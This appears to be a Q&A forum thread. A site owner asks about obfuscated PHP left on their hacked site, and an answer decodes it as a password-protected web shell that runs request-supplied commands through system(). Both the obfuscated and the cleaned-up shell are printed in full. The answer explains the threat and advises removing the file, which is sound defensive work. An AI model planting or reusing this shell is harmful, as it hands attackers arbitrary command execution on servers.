My website got hacked - what does this code do?

Someone hacked my site and included this code. Could someone explain what it does?

I've reformatted the spacing for better clarity. I've tried running the code but it looks like all it does is return an md5 hash. Is this harmless?

<? 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'),
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),
    base64_decode('dX' .'JsZGVjb2Rl'),
    base64_decode('c3lz' .'dGVt')); 
?>

<? function 
     _787708145($i)
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
                'cA==',
                'cw==',
                '');
            return base64_decode($a[$i]);
        } 
?>

<?php 
    $_0=_787708145(0);

    $_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

    if($_1!=$_0)exit;

    $_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);

    if($_2==_787708145(3))exit;

    $GLOBALS['_131068239_'][3]($_2);exit; 
?>

Not harmless. This is the code with the obfuscation stuff removed:

$_0 = '2caf6917ca3d9a3a85d26029ed623b1a';
$_1 = md5(urldecode($_REQUEST['p']));

if ($_1 != $_0) exit;

$_2 = urldecode($_REQUEST['s']);
if ($_2 == '') exit;

system($_2);
exit;

If this is present in a PHP file on your server, it means that a malicious user can craft an URL with p and s parameters, in order to execute any program on your server (using the system call) with the privileges of the user running your webserver.

I would advice you to get rid of this.